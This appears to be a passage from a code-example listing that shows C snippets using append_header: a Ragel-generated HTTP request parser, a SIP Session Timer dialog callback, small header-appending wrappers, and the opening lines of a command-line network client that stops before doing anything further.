			if ( 97 <= (*p) && (*p) <= 122 )
				goto st24;
		} else if ( (*p) >= 64 )
			goto st24;
	} else
		goto st24;
	goto st0;
tr13:
#line 39 "./c_src/request.rl"
	{
        assert(request->genbuf->pos == NULL && "won't overwrite a mark.");
        request->genbuf->pos = p;
    }
	goto st25;
st25:
	if ( ++p == pe )
		goto _test_eof25;
case 25:
#line 857 "./c_src/request.c"
	if ( (*p) < 65 ) {
		if ( 48 <= (*p) && (*p) <= 57 )
			goto st26;
	} else if ( (*p) > 70 ) {
		if ( 97 <= (*p) && (*p) <= 102 )
			goto st26;
	} else
		goto st26;
	goto st0;
st26:
	if ( ++p == pe )
		goto _test_eof26;
case 26:
	if ( (*p) < 65 ) {
		if ( 48 <= (*p) && (*p) <= 57 )
			goto st24;
	} else if ( (*p) > 70 ) {
		if ( 97 <= (*p) && (*p) <= 102 )
			goto st24;
	} else
		goto st24;
	goto st0;
tr6:
#line 82 "./c_src/request.rl"
	{
        assert(request->uribuf->pos == NULL && "wont overwrite uri mark");
        request->uribuf->pos = p;
    }
	goto st27;
st27:
	if ( ++p == pe )
		goto _test_eof27;
case 27:
#line 891 "./c_src/request.c"
	switch( (*p) ) {
		case 9: goto tr43;
		case 32: goto tr43;
	}
	goto st0;
tr7:
#line 82 "./c_src/request.rl"
	{
        assert(request->uribuf->pos == NULL && "wont overwrite uri mark");
        request->uribuf->pos = p;
    }
#line 39 "./c_src/request.rl"
	{
        assert(request->genbuf->pos == NULL && "won't overwrite a mark.");
        request->genbuf->pos = p;
    }
	goto st28;
st28:
	if ( ++p == pe )
		goto _test_eof28;
case 28:
#line 913 "./c_src/request.c"
	switch( (*p) ) {
		case 43: goto st28;
		case 58: goto tr45;
	}
	if ( (*p) < 48 ) {
		if ( 45 <= (*p) && (*p) <= 46 )
			goto st28;
	} else if ( (*p) > 57 ) {
		if ( (*p) > 90 ) {
			if ( 97 <= (*p) && (*p) <= 122 )
				goto st28;
		} else if ( (*p) >= 65 )
			goto st28;
	} else
		goto st28;
	goto st0;
tr45:
#line 49 "./c_src/request.rl"
	{
        request->scheme = buffer_to_string(request->genbuf, p);
        if(request->scheme == NULL) {p++; cs = 29; goto _out;}
    }
	goto st29;
st29:
	if ( ++p == pe )
		goto _test_eof29;
case 29:
#line 941 "./c_src/request.c"
	if ( (*p) == 47 )
		goto st30;
	goto st0;
st30:
	if ( ++p == pe )
		goto _test_eof30;
case 30:
	if ( (*p) == 47 )
		goto st31;
	goto st0;
st31:
	if ( ++p == pe )
		goto _test_eof31;
case 31:
	switch( (*p) ) {
		case 33: goto tr48;
		case 37: goto tr49;
		case 59: goto tr48;
		case 61: goto tr48;
		case 63: goto tr48;
		case 95: goto tr48;
	}
	if ( (*p) < 48 ) {
		if ( (*p) > 42 ) {
			if ( 44 <= (*p) && (*p) <= 46 )
				goto tr48;
		} else if ( (*p) >= 36 )
			goto tr48;
	} else if ( (*p) > 57 ) {
		if ( (*p) > 90 ) {
			if ( 97 <= (*p) && (*p) <= 122 )
				goto tr48;
		} else if ( (*p) >= 65 )
			goto tr48;
	} else
		goto tr48;
	goto st0;
tr48:
#line 39 "./c_src/request.rl"
	{
        assert(request->genbuf->pos == NULL && "won't overwrite a mark.");
        request->genbuf->pos = p;
    }
	goto st32;
st32:
	if ( ++p == pe )
		goto _test_eof32;
case 32:
#line 990 "./c_src/request.c"
	switch( (*p) ) {
		case 9: goto tr50;
		case 32: goto tr50;
		case 35: goto tr51;
		case 47: goto tr52;
		case 58: goto tr53;
		case 63: goto tr54;
	}
	goto st0;
tr76:
#line 39 "./c_src/request.rl"
	{
        assert(request->genbuf->pos == NULL && "won't overwrite a mark.");
        request->genbuf->pos = p;
    }
	goto st33;
tr8:
#line 82 "./c_src/request.rl"
	{
        assert(request->uribuf->pos == NULL && "wont overwrite uri mark");
        request->uribuf->pos = p;
    }
#line 39 "./c_src/request.rl"
	{
        assert(request->genbuf->pos == NULL && "won't overwrite a mark.");
        request->genbuf->pos = p;
    }
	goto st33;
tr52:
#line 54 "./c_src/request.rl"
	{
        request->host = buffer_to_string(request->genbuf, p);
        if(request->host == NULL) {p++; cs = 33; goto _out;}
    }
#line 39 "./c_src/request.rl"
	{
        assert(request->genbuf->pos == NULL && "won't overwrite a mark.");
        request->genbuf->pos = p;
    }
	goto st33;
tr72:
#line 59 "./c_src/request.rl"
	{
        request->port = 0;
    }
#line 39 "./c_src/request.rl"
	{
        assert(request->genbuf->pos == NULL && "won't overwrite a mark.");
        request->genbuf->pos = p;
    }
	goto st33;
st33:
	if ( ++p == pe )
		goto _test_eof33;
case 33:
#line 1046 "./c_src/request.c"
	switch( (*p) ) {
		case 9: goto tr55;
		case 32: goto tr55;
		case 35: goto tr57;
		case 37: goto st34;
		case 61: goto st33;
		case 63: goto tr59;
		case 95: goto st33;
	}
	if ( (*p) < 44 ) {
		if ( 33 <= (*p) && (*p) <= 42 )
			goto st33;
	} else if ( (*p) > 59 ) {
		if ( (*p) > 90 ) {
			if ( 97 <= (*p) && (*p) <= 122 )
				goto st33;
		} else if ( (*p) >= 64 )
			goto st33;
	} else
		goto st33;
	goto st0;
st34:
	if ( ++p == pe )
		goto _test_eof34;
case 34:
	if ( (*p) < 65 ) {
		if ( 48 <= (*p) && (*p) <= 57 )
			goto st35;
	} else if ( (*p) > 70 ) {
		if ( 97 <= (*p) && (*p) <= 102 )
			goto st35;
	} else
		goto st35;
	goto st0;
st35:
	if ( ++p == pe )
		goto _test_eof35;
case 35:
	if ( (*p) < 65 ) {
		if ( 48 <= (*p) && (*p) <= 57 )
			goto st33;
	} else if ( (*p) > 70 ) {
		if ( 97 <= (*p) && (*p) <= 102 )
			goto st33;
	} else
		goto st33;
	goto st0;
tr9:
#line 82 "./c_src/request.rl"
	{
        assert(request->uribuf->pos == NULL && "wont overwrite uri mark");
        request->uribuf->pos = p;
    }
	goto st36;
tr54:
#line 54 "./c_src/request.rl"
	{
        request->host = buffer_to_string(request->genbuf, p);
        if(request->host == NULL) {p++; cs = 36; goto _out;}
    }
	goto st36;
tr59:
#line 67 "./c_src/request.rl"
	{
        request->path = buffer_to_string(request->genbuf, p);
        if(request->path == NULL) {p++; cs = 36; goto _out;}
    }
	goto st36;
tr74:
#line 59 "./c_src/request.rl"
	{
        request->port = 0;
    }
	goto st36;
st36:
	if ( ++p == pe )
		goto _test_eof36;
case 36:
#line 1125 "./c_src/request.c"
	switch( (*p) ) {
		case 9: goto tr61;
		case 32: goto tr61;
		case 35: goto tr63;
		case 37: goto tr64;
		case 61: goto tr62;
		case 95: goto tr62;
	}
	if ( (*p) < 44 ) {
		if ( 33 <= (*p) && (*p) <= 42 )
			goto tr62;
	} else if ( (*p) > 59 ) {
		if ( (*p) > 90 ) {
			if ( 97 <= (*p) && (*p) <= 122 )
				goto tr62;
		} else if ( (*p) >= 64 )
			goto tr62;
	} else
		goto tr62;
	goto st0;
tr62:
#line 39 "./c_src/request.rl"
	{
        assert(request->genbuf->pos == NULL && "won't overwrite a mark.");
        request->genbuf->pos = p;
    }
	goto st37;
st37:
	if ( ++p == pe )
		goto _test_eof37;
case 37:
#line 1157 "./c_src/request.c"
	switch( (*p) ) {
		case 9: goto tr65;
		case 32: goto tr65;
		case 35: goto tr67;
		case 37: goto st38;
		case 61: goto st37;
		case 95: goto st37;
	}
	if ( (*p) < 44 ) {
		if ( 33 <= (*p) && (*p) <= 42 )
			goto st37;
	} else if ( (*p) > 59 ) {
		if ( (*p) > 90 ) {
			if ( 97 <= (*p) && (*p) <= 122 )
				goto st37;
		} else if ( (*p) >= 64 )
			goto st37;
	} else
		goto st37;
	goto st0;
tr64:
#line 39 "./c_src/request.rl"
	{
        assert(request->genbuf->pos == NULL && "won't overwrite a mark.");
        request->genbuf->pos = p;
    }
	goto st38;
st38:
	if ( ++p == pe )
		goto _test_eof38;
case 38:
#line 1189 "./c_src/request.c"
	if ( (*p) < 65 ) {
		if ( 48 <= (*p) && (*p) <= 57 )
			goto st39;
	} else if ( (*p) > 70 ) {
		if ( 97 <= (*p) && (*p) <= 102 )
			goto st39;
	} else
		goto st39;
	goto st0;
st39:
	if ( ++p == pe )
		goto _test_eof39;
case 39:
	if ( (*p) < 65 ) {
		if ( 48 <= (*p) && (*p) <= 57 )
			goto st37;
	} else if ( (*p) > 70 ) {
		if ( 97 <= (*p) && (*p) <= 102 )
			goto st37;
	} else
		goto st37;
	goto st0;
tr53:
#line 54 "./c_src/request.rl"
	{
        request->host = buffer_to_string(request->genbuf, p);
        if(request->host == NULL) {p++; cs = 40; goto _out;}
    }
	goto st40;
st40:
	if ( ++p == pe )
		goto _test_eof40;
case 40:
#line 1223 "./c_src/request.c"
	switch( (*p) ) {
		case 9: goto tr70;
		case 32: goto tr70;
		case 35: goto tr71;
		case 47: goto tr72;
		case 63: goto tr74;
	}
	if ( 48 <= (*p) && (*p) <= 57 )
		goto tr73;
	goto st0;
tr73:
#line 59 "./c_src/request.rl"
	{
        request->port = 0;
    }
#line 63 "./c_src/request.rl"
	{
        request->port = request->port*10 + ((*p)-'0');
    }
	goto st41;
tr77:
#line 63 "./c_src/request.rl"
	{
        request->port = request->port*10 + ((*p)-'0');
    }
	goto st41;
st41:
	if ( ++p == pe )
		goto _test_eof41;
case 41:
#line 1254 "./c_src/request.c"
	switch( (*p) ) {
		case 9: goto tr43;
		case 32: goto tr43;
		case 35: goto st5;
		case 47: goto tr76;
		case 63: goto st36;
	}
	if ( 48 <= (*p) && (*p) <= 57 )
		goto tr77;
	goto st0;
tr49:
#line 39 "./c_src/request.rl"
	{
        assert(request->genbuf->pos == NULL && "won't overwrite a mark.");
        request->genbuf->pos = p;
    }
	goto st42;
st42:
	if ( ++p == pe )
		goto _test_eof42;
case 42:
#line 1276 "./c_src/request.c"
	if ( (*p) < 65 ) {
		if ( 48 <= (*p) && (*p) <= 57 )
			goto st43;
	} else if ( (*p) > 70 ) {
		if ( 97 <= (*p) && (*p) <= 102 )
			goto st43;
	} else
		goto st43;
	goto st0;
st43:
	if ( ++p == pe )
		goto _test_eof43;
case 43:
	if ( (*p) < 65 ) {
		if ( 48 <= (*p) && (*p) <= 57 )
			goto st32;
	} else if ( (*p) > 70 ) {
		if ( 97 <= (*p) && (*p) <= 102 )
			goto st32;
	} else
		goto st32;
	goto st0;
tr10:
#line 82 "./c_src/request.rl"
	{
        assert(request->uribuf->pos == NULL && "wont overwrite uri mark");
        request->uribuf->pos = p;
    }
#line 39 "./c_src/request.rl"
	{
        assert(request->genbuf->pos == NULL && "won't overwrite a mark.");
        request->genbuf->pos = p;
    }
	goto st44;
st44:
	if ( ++p == pe )
		goto _test_eof44;
case 44:
#line 1315 "./c_src/request.c"
	switch( (*p) ) {
		case 43: goto st28;
		case 58: goto tr45;
		case 84: goto st45;
	}
	if ( (*p) < 48 ) {
		if ( 45 <= (*p) && (*p) <= 46 )
			goto st28;
	} else if ( (*p) > 57 ) {
		if ( (*p) > 90 ) {
			if ( 97 <= (*p) && (*p) <= 122 )
				goto st28;
		} else if ( (*p) >= 65 )
			goto st28;
	} else
		goto st28;
	goto st0;
st45:
	if ( ++p == pe )
		goto _test_eof45;
case 45:
	switch( (*p) ) {
		case 43: goto st28;
		case 58: goto tr45;
		case 84: goto st46;
	}
	if ( (*p) < 48 ) {
		if ( 45 <= (*p) && (*p) <= 46 )
			goto st28;
	} else if ( (*p) > 57 ) {
		if ( (*p) > 90 ) {
			if ( 97 <= (*p) && (*p) <= 122 )
				goto st28;
		} else if ( (*p) >= 65 )
			goto st28;
	} else
		goto st28;
	goto st0;
st46:
	if ( ++p == pe )
		goto _test_eof46;
case 46:
	switch( (*p) ) {
		case 43: goto st28;
		case 58: goto tr45;
		case 80: goto st47;
	}
	if ( (*p) < 48 ) {
		if ( 45 <= (*p) && (*p) <= 46 )
			goto st28;
	} else if ( (*p) > 57 ) {
		if ( (*p) > 90 ) {
			if ( 97 <= (*p) && (*p) <= 122 )
				goto st28;
		} else if ( (*p) >= 65 )
			goto st28;
	} else
		goto st28;
	goto st0;
st47:
	if ( ++p == pe )
		goto _test_eof47;
case 47:
	switch( (*p) ) {
		case 43: goto st28;
		case 47: goto st11;
		case 58: goto tr45;
	}
	if ( (*p) < 65 ) {
		if ( 45 <= (*p) && (*p) <= 57 )
			goto st28;
	} else if ( (*p) > 90 ) {
		if ( 97 <= (*p) && (*p) <= 122 )
			goto st28;
	} else
		goto st28;
	goto st0;
st48:
	if ( ++p == pe )
		goto _test_eof48;
case 48:
	switch( (*p) ) {
		case 9: goto tr2;
		case 32: goto tr2;
		case 36: goto st49;
		case 95: goto st49;
	}
	if ( (*p) < 48 ) {
		if ( 45 <= (*p) && (*p) <= 46 )
			goto st49;
	} else if ( (*p) > 57 ) {
		if ( 65 <= (*p) && (*p) <= 90 )
			goto st49;
	} else
		goto st49;
	goto st0;
st49:
	if ( ++p == pe )
		goto _test_eof49;
case 49:
	switch( (*p) ) {
		case 9: goto tr2;
		case 32: goto tr2;
		case 36: goto st50;
		case 95: goto st50;
	}
	if ( (*p) < 48 ) {
		if ( 45 <= (*p) && (*p) <= 46 )
			goto st50;
	} else if ( (*p) > 57 ) {
		if ( 65 <= (*p) && (*p) <= 90 )
			goto st50;
	} else
		goto st50;
	goto st0;
st50:
	if ( ++p == pe )
		goto _test_eof50;
case 50:
	switch( (*p) ) {
		case 9: goto tr2;
		case 32: goto tr2;
		case 36: goto st51;
		case 95: goto st51;
	}
	if ( (*p) < 48 ) {
		if ( 45 <= (*p) && (*p) <= 46 )
			goto st51;
	} else if ( (*p) > 57 ) {
		if ( 65 <= (*p) && (*p) <= 90 )
			goto st51;
	} else
		goto st51;
	goto st0;
st51:
	if ( ++p == pe )
		goto _test_eof51;
case 51:
	switch( (*p) ) {
		case 9: goto tr2;
		case 32: goto tr2;
		case 36: goto st52;
		case 95: goto st52;
	}
	if ( (*p) < 48 ) {
		if ( 45 <= (*p) && (*p) <= 46 )
			goto st52;
	} else if ( (*p) > 57 ) {
		if ( 65 <= (*p) && (*p) <= 90 )
			goto st52;
	} else
		goto st52;
	goto st0;
st52:
	if ( ++p == pe )
		goto _test_eof52;
case 52:
	switch( (*p) ) {
		case 9: goto tr2;
		case 32: goto tr2;
		case 36: goto st53;
		case 95: goto st53;
	}
	if ( (*p) < 48 ) {
		if ( 45 <= (*p) && (*p) <= 46 )
			goto st53;
	} else if ( (*p) > 57 ) {
		if ( 65 <= (*p) && (*p) <= 90 )
			goto st53;
	} else
		goto st53;
	goto st0;
st53:
	if ( ++p == pe )
		goto _test_eof53;
case 53:
	switch( (*p) ) {
		case 9: goto tr2;
		case 32: goto tr2;
		case 36: goto st54;
		case 95: goto st54;
	}
	if ( (*p) < 48 ) {
		if ( 45 <= (*p) && (*p) <= 46 )
			goto st54;
	} else if ( (*p) > 57 ) {
		if ( 65 <= (*p) && (*p) <= 90 )
			goto st54;
	} else
		goto st54;
	goto st0;
st54:
	if ( ++p == pe )
		goto _test_eof54;
case 54:
	switch( (*p) ) {
		case 9: goto tr2;
		case 32: goto tr2;
		case 36: goto st55;
		case 95: goto st55;
	}
	if ( (*p) < 48 ) {
		if ( 45 <= (*p) && (*p) <= 46 )
			goto st55;
	} else if ( (*p) > 57 ) {
		if ( 65 <= (*p) && (*p) <= 90 )
			goto st55;
	} else
		goto st55;
	goto st0;
st55:
	if ( ++p == pe )
		goto _test_eof55;
case 55:
	switch( (*p) ) {
		case 9: goto tr2;
		case 32: goto tr2;
		case 36: goto st56;
		case 95: goto st56;
	}
	if ( (*p) < 48 ) {
		if ( 45 <= (*p) && (*p) <= 46 )
			goto st56;
	} else if ( (*p) > 57 ) {
		if ( 65 <= (*p) && (*p) <= 90 )
			goto st56;
	} else
		goto st56;
	goto st0;
st56:
	if ( ++p == pe )
		goto _test_eof56;
case 56:
	switch( (*p) ) {
		case 9: goto tr2;
		case 32: goto tr2;
		case 36: goto st57;
		case 95: goto st57;
	}
	if ( (*p) < 48 ) {
		if ( 45 <= (*p) && (*p) <= 46 )
			goto st57;
	} else if ( (*p) > 57 ) {
		if ( 65 <= (*p) && (*p) <= 90 )
			goto st57;
	} else
		goto st57;
	goto st0;
st57:
	if ( ++p == pe )
		goto _test_eof57;
case 57:
	switch( (*p) ) {
		case 9: goto tr2;
		case 32: goto tr2;
		case 36: goto st58;
		case 95: goto st58;
	}
	if ( (*p) < 48 ) {
		if ( 45 <= (*p) && (*p) <= 46 )
			goto st58;
	} else if ( (*p) > 57 ) {
		if ( 65 <= (*p) && (*p) <= 90 )
			goto st58;
	} else
		goto st58;
	goto st0;
st58:
	if ( ++p == pe )
		goto _test_eof58;
case 58:
	switch( (*p) ) {
		case 9: goto tr2;
		case 32: goto tr2;
		case 36: goto st59;
		case 95: goto st59;
	}
	if ( (*p) < 48 ) {
		if ( 45 <= (*p) && (*p) <= 46 )
			goto st59;
	} else if ( (*p) > 57 ) {
		if ( 65 <= (*p) && (*p) <= 90 )
			goto st59;
	} else
		goto st59;
	goto st0;
st59:
	if ( ++p == pe )
		goto _test_eof59;
case 59:
	switch( (*p) ) {
		case 9: goto tr2;
		case 32: goto tr2;
		case 36: goto st60;
		case 95: goto st60;
	}
	if ( (*p) < 48 ) {
		if ( 45 <= (*p) && (*p) <= 46 )
			goto st60;
	} else if ( (*p) > 57 ) {
		if ( 65 <= (*p) && (*p) <= 90 )
			goto st60;
	} else
		goto st60;
	goto st0;
st60:
	if ( ++p == pe )
		goto _test_eof60;
case 60:
	switch( (*p) ) {
		case 9: goto tr2;
		case 32: goto tr2;
		case 36: goto st61;
		case 95: goto st61;
	}
	if ( (*p) < 48 ) {
		if ( 45 <= (*p) && (*p) <= 46 )
			goto st61;
	} else if ( (*p) > 57 ) {
		if ( 65 <= (*p) && (*p) <= 90 )
			goto st61;
	} else
		goto st61;
	goto st0;
st61:
	if ( ++p == pe )
		goto _test_eof61;
case 61:
	switch( (*p) ) {
		case 9: goto tr2;
		case 32: goto tr2;
		case 36: goto st62;
		case 95: goto st62;
	}
	if ( (*p) < 48 ) {
		if ( 45 <= (*p) && (*p) <= 46 )
			goto st62;
	} else if ( (*p) > 57 ) {
		if ( 65 <= (*p) && (*p) <= 90 )
			goto st62;
	} else
		goto st62;
	goto st0;
st62:
	if ( ++p == pe )
		goto _test_eof62;
case 62:
	switch( (*p) ) {
		case 9: goto tr2;
		case 32: goto tr2;
		case 36: goto st63;
		case 95: goto st63;
	}
	if ( (*p) < 48 ) {
		if ( 45 <= (*p) && (*p) <= 46 )
			goto st63;
	} else if ( (*p) > 57 ) {
		if ( 65 <= (*p) && (*p) <= 90 )
			goto st63;
	} else
		goto st63;
	goto st0;
st63:
	if ( ++p == pe )
		goto _test_eof63;
case 63:
	switch( (*p) ) {
		case 9: goto tr2;
		case 32: goto tr2;
		case 36: goto st64;
		case 95: goto st64;
	}
	if ( (*p) < 48 ) {
		if ( 45 <= (*p) && (*p) <= 46 )
			goto st64;
	} else if ( (*p) > 57 ) {
		if ( 65 <= (*p) && (*p) <= 90 )
			goto st64;
	} else
		goto st64;
	goto st0;
st64:
	if ( ++p == pe )
		goto _test_eof64;
case 64:
	switch( (*p) ) {
		case 9: goto tr2;
		case 32: goto tr2;
		case 36: goto st65;
		case 95: goto st65;
	}
	if ( (*p) < 48 ) {
		if ( 45 <= (*p) && (*p) <= 46 )
			goto st65;
	} else if ( (*p) > 57 ) {
		if ( 65 <= (*p) && (*p) <= 90 )
			goto st65;
	} else
		goto st65;
	goto st0;
st65:
	if ( ++p == pe )
		goto _test_eof65;
case 65:
	switch( (*p) ) {
		case 9: goto tr2;
		case 32: goto tr2;
		case 36: goto st66;
		case 95: goto st66;
	}
	if ( (*p) < 48 ) {
		if ( 45 <= (*p) && (*p) <= 46 )
			goto st66;
	} else if ( (*p) > 57 ) {
		if ( 65 <= (*p) && (*p) <= 90 )
			goto st66;
	} else
		goto st66;
	goto st0;
st66:
	if ( ++p == pe )
		goto _test_eof66;
case 66:
	switch( (*p) ) {
		case 9: goto tr2;
		case 32: goto tr2;
	}
	goto st0;
st67:
	if ( ++p == pe )
		goto _test_eof67;
case 67:
	switch( (*p) ) {
		case 33: goto tr29;
		case 124: goto tr29;
		case 126: goto tr29;
	}
	if ( (*p) < 45 ) {
		if ( (*p) > 39 ) {
			if ( 42 <= (*p) && (*p) <= 43 )
				goto tr29;
		} else if ( (*p) >= 35 )
			goto tr29;
	} else if ( (*p) > 46 ) {
		if ( (*p) < 65 ) {
			if ( 48 <= (*p) && (*p) <= 57 )
				goto tr29;
		} else if ( (*p) > 90 ) {
			if ( 94 <= (*p) && (*p) <= 122 )
				goto tr29;
		} else
			goto tr29;
	} else
		goto tr29;
	goto st0;
st68:
	if ( ++p == pe )
		goto _test_eof68;
case 68:
	if ( (*p) == 13 )
		goto st18;
	goto st0;
	}
	_test_eof2: cs = 2; goto _test_eof; 
	_test_eof3: cs = 3; goto _test_eof; 
	_test_eof4: cs = 4; goto _test_eof; 
	_test_eof5: cs = 5; goto _test_eof; 
	_test_eof6: cs = 6; goto _test_eof; 
	_test_eof7: cs = 7; goto _test_eof; 
	_test_eof8: cs = 8; goto _test_eof; 
	_test_eof9: cs = 9; goto _test_eof; 
	_test_eof10: cs = 10; goto _test_eof; 
	_test_eof11: cs = 11; goto _test_eof; 
	_test_eof12: cs = 12; goto _test_eof; 
	_test_eof13: cs = 13; goto _test_eof; 
	_test_eof14: cs = 14; goto _test_eof; 
	_test_eof15: cs = 15; goto _test_eof; 
	_test_eof16: cs = 16; goto _test_eof; 
	_test_eof17: cs = 17; goto _test_eof; 
	_test_eof18: cs = 18; goto _test_eof; 
	_test_eof69: cs = 69; goto _test_eof; 
	_test_eof19: cs = 19; goto _test_eof; 
	_test_eof20: cs = 20; goto _test_eof; 
	_test_eof21: cs = 21; goto _test_eof; 
	_test_eof22: cs = 22; goto _test_eof; 
	_test_eof23: cs = 23; goto _test_eof; 
	_test_eof24: cs = 24; goto _test_eof; 
	_test_eof25: cs = 25; goto _test_eof; 
	_test_eof26: cs = 26; goto _test_eof; 
	_test_eof27: cs = 27; goto _test_eof; 
	_test_eof28: cs = 28; goto _test_eof; 
	_test_eof29: cs = 29; goto _test_eof; 
	_test_eof30: cs = 30; goto _test_eof; 
	_test_eof31: cs = 31; goto _test_eof; 
	_test_eof32: cs = 32; goto _test_eof; 
	_test_eof33: cs = 33; goto _test_eof; 
	_test_eof34: cs = 34; goto _test_eof; 
	_test_eof35: cs = 35; goto _test_eof; 
	_test_eof36: cs = 36; goto _test_eof; 
	_test_eof37: cs = 37; goto _test_eof; 
	_test_eof38: cs = 38; goto _test_eof; 
	_test_eof39: cs = 39; goto _test_eof; 
	_test_eof40: cs = 40; goto _test_eof; 
	_test_eof41: cs = 41; goto _test_eof; 
	_test_eof42: cs = 42; goto _test_eof; 
	_test_eof43: cs = 43; goto _test_eof; 
	_test_eof44: cs = 44; goto _test_eof; 
	_test_eof45: cs = 45; goto _test_eof; 
	_test_eof46: cs = 46; goto _test_eof; 
	_test_eof47: cs = 47; goto _test_eof; 
	_test_eof48: cs = 48; goto _test_eof; 
	_test_eof49: cs = 49; goto _test_eof; 
	_test_eof50: cs = 50; goto _test_eof; 
	_test_eof51: cs = 51; goto _test_eof; 
	_test_eof52: cs = 52; goto _test_eof; 
	_test_eof53: cs = 53; goto _test_eof; 
	_test_eof54: cs = 54; goto _test_eof; 
	_test_eof55: cs = 55; goto _test_eof; 
	_test_eof56: cs = 56; goto _test_eof; 
	_test_eof57: cs = 57; goto _test_eof; 
	_test_eof58: cs = 58; goto _test_eof; 
	_test_eof59: cs = 59; goto _test_eof; 
	_test_eof60: cs = 60; goto _test_eof; 
	_test_eof61: cs = 61; goto _test_eof; 
	_test_eof62: cs = 62; goto _test_eof; 
	_test_eof63: cs = 63; goto _test_eof; 
	_test_eof64: cs = 64; goto _test_eof; 
	_test_eof65: cs = 65; goto _test_eof; 
	_test_eof66: cs = 66; goto _test_eof; 
	_test_eof67: cs = 67; goto _test_eof; 
	_test_eof68: cs = 68; goto _test_eof; 

	_test_eof: {}
	_out: {}
	}

#line 329 "./c_src/request.rl"

        if(PyErr_Occurred())
        {
            return -1;
        }

        request->cs = cs;
        request->nread += p - buffer;
        
        if(p < pe) save_chunk(request, p, pe-p);
        
        // Parsing stopped in the middle of a buffer
        // state. Save the current data and prepare
        // for reinitialization.
        
        gensaved = request->genbuf->pos ? 1 : 0;
        if(gensaved) save_buffer(request->genbuf, p);
        
        urisaved = request->uribuf->pos ? 1 : 0;
        if(urisaved) save_buffer(request->uribuf, p);

    } while(cs != http_req_parser_error && cs < http_req_parser_first_final);

    if(cs == http_req_parser_error)
    {
        if(!PyErr_Occurred())
        {
            // MAKE MOAR BUTTAH
            PyErr_SetString(PyExc_ValueError, "Failed to parse data stream.");
            return -1;
        }
    }

    return 1;
}
示例#15
0
/**
 * Every time a new dialog is created (from a new INVITE) the dialog
 * module will call this callback function. We need to track the
 * dialogs lifespan from this point forward until it is terminated
 * with a BYE, CANCEL, etc. In the process, we will see if either or
 * both ends of the conversation supports SIP Session Timers and setup
 * the dialog timeout to expire at the session timer expire time. Each
 * time the new re-INVITE is seen to update the SST, we will reset the
 * life span of the dialog to match it.
 *
 * This function will setup the other types of dialog callbacks
 * required to track the lifespan of the dialog. It will also start
 * the state tracking to figure out if and who supports SST.
 *
 * As per RFC4028: Request handling:
 * 
 * - The proxy may insert a SE header if none found.
 * - The SE value can be anything >= Min-SE (if found)
 * - The proxy MUST NOT add a refresher parameter to the SE.
 *
 * - If SE is already there, the Proxy can reduce its value but no
 *   lower then the Min-SE value if present.
 * - If the SE value is >= Min-SE the proxy MUST NOT increase it!
 * - If the SE value is < Min-SE (settable by the proxy) the proxy
 *   MUST increase the SE value to >= the new Min-SE.
 * - The proxy MUST NOT insert or change the refresher parameter.
 *
 * - If the supported=timer is found, the proxy may reject the request
 *   with a 422 if the SE value is smaller then the local policy. The
 *   422 MUST hold the proxies Min-SE value >= 90.
 * - If support=timer is NOT indecated, the proxy can't reject with a
 *   422 but can include/increase the MIN-SE: to be = to local policy.
 *   and increase the SE to match the new Min-SE value.
 * - the proxy MUST NOT insert/change the Min-SE header if
 *   supported=timer is present. (DoS attacks)
 *
 * @param did - The dialog ID
 * @param type - The trigger event type (CREATED)
 * @param params - The pointer to nothing. As we did not attach
 *                anything to this callback in the dialog module.
 */
void sst_dialog_created_CB(struct dlg_cell *did, int type,
		struct dlg_cb_params * params)
{
	sst_info_t *info = NULL;
	sst_msg_info_t minfo;
	struct sip_msg* msg = params->req;

	memset(&minfo, 0, sizeof(sst_msg_info_t));
	/*
	 * Only deal with messages flaged as SST interested.
	 */
	if ((msg->flags & sst_flag) != sst_flag) {
		LM_DBG("SST flag was not set for this request\n");
		return;
	}

	/* 
	 * look only at INVITE
	 */
	if (msg->first_line.type != SIP_REQUEST ||
			msg->first_line.u.request.method_value != METHOD_INVITE) {
		LM_WARN("dialog create callback called with a non-INVITE request.\n");
		return;
	}

	/*
	 * Gather all he information about SST for this message
	 */
	if (parse_msg_for_sst_info(msg, &minfo)) {
		LM_ERR("failed to parse sst information\n");
		return;
	}

	info = (sst_info_t *)shm_malloc(sizeof(sst_info_t));
	memset(info, 0, sizeof(sst_info_t));
	info->requester = (minfo.se?SST_UAC:SST_UNDF);
	info->supported = (minfo.supported?SST_UAC:SST_UNDF);
	info->interval = MAX(sst_min_se, 90); /* For now, will set for real
										  * later */

	if (minfo.se != 0) {
		/* 
		 * There is a SE already there, this is good, we just need to
		 * check the values out a little before passing it along.
		 */
		if (minfo.se < sst_min_se) {
			/* 
			 * Problem, the requested Session-Expires is too small for
			 * our local policy. We need to fix it, or reject it or
			 * ignore it.
			 */
			if (!minfo.supported) {
				/* 
				 * Increase the Min-SE: value in the request and
				 * forward it.
				 */
				str msehdr;
				if (minfo.min_se) {
					/* We need to update, which means, remove +
					 * insert */
					remove_header(msg, "Min-SE");
				}
				info->interval = MAX(sst_min_se, minfo.min_se);
				sst_build_minse_hdr(info->interval, &msehdr);
				if (append_header(msg, msehdr.s)) {
					LM_ERR("Could not append modified Min-SE: header\n");
				}
			}
			else if (sst_reject) {
				/* Make sure that that all are at least 90 */
				send_reject(msg, MAX(MAX(sst_min_se, minfo.min_se), 90));
				shm_free(info);
				return;
			}
		}  /* end of se < sst_min_se */
		else {
			/* Use the INVITE SE: value */
			info->interval = minfo.se;
		}
	}
	else {
		/* 
		 * No Session-Expire: stated in request.
		 */
		str msehdr;

		info->interval = MAX(minfo.min_se, sst_min_se);

		if (minfo.min_se && minfo.min_se < sst_min_se) {
			remove_header(msg, "Min-SE");
			sst_build_minse_hdr(info->interval, &msehdr);
			if (append_header(msg, msehdr.s)) {
				LM_ERR("failed to append modified Min-SE: header\n");
				/* What to do? Let is slide, we can still work */
			}
		}
		
		info->requester = SST_PXY;
		sst_build_se_hdr(info->interval, &msehdr, NULL);
		if (append_header(msg, msehdr.s)) {
			LM_ERR("failed to append Session-Expires header to proxy "
					"requested SST.\n");
			shm_free(info);
			return; /* Nothing we can do! */
		}
	}
	setup_dialog_callbacks(did, info);
	set_timeout_avp(msg, info->interval);
	return;
}
示例#16
0
void
request_headers(Request req, str key, str value)
{
	append_header(req->headers,key,value);
}
示例#17
0
 jester &jester::append_header(const std::pair<std::string, std::string> &value)
 {
     return append_header(value.first, value.second);
 }
示例#18
0
int main(int argc, char **argv)
{
	char *b, *p;
	int sock, i;
	char tmp[1024];

	if(argc < 4) {
		fprintf(stderr, "Usage: %s <host> <port> <file>\n", argv[0]);
		exit(0);
	}

	sock = network(argv[1], atoi(argv[2]));

	if(sock <= 0) {
		fprintf(stderr, "Host down?\n");
		exit(0);
	}
	
	b = p = malloc(0xffff + 0xffff);

